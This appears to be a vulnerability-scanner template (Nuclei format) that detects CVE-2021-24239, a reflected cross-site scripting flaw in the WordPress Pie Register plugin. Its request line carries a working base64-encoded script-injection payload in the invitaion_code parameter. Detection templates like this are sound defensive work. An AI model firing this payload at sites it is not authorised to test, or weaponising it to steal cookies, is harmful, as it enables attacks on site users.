43 lines
1.8 KiB
YAML
43 lines
1.8 KiB
YAML
id: CVE-2021-24239
|
|
|
|
info:
|
|
name: WordPress Pie Register <3.7.0.1 - Cross-Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
WordPress Pie Register plugin before 3.7.0.1 is susceptible to cross-site scripting. The plugin does not sanitize the invitaion_code GET parameter when outputting it in the Activation Code page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
remediation: Fixed in version 3.7.0.1.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/f1b67f40-642f-451e-a67a-b7487918ee34
|
|
- https://plugins.trac.wordpress.org/changeset/2507536/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24239
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24239
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00116
|
|
epss-percentile: 0.45123
|
|
cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: genetechsolutions
|
|
product: pie_register
|
|
framework: wordpress
|
|
tags: cve,cve2021,xss,pie-register,wp,wpscan
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(body, "<script>alert(document.domain);</script>") && contains(body, "invitaion-code-table")'
|
|
condition: and
|
|
|
|
# digest: 4a0a004730450221008626128adeea695b9c6ad41b0f41f0c9219e563022091cd185d6df7fe14366e402203af9a80aef8c3a5c11c775b48ab0beb0771cc0f2c77948fa32cb42b3d761ded5:922c64590222798bb761d5b6d8e72950
|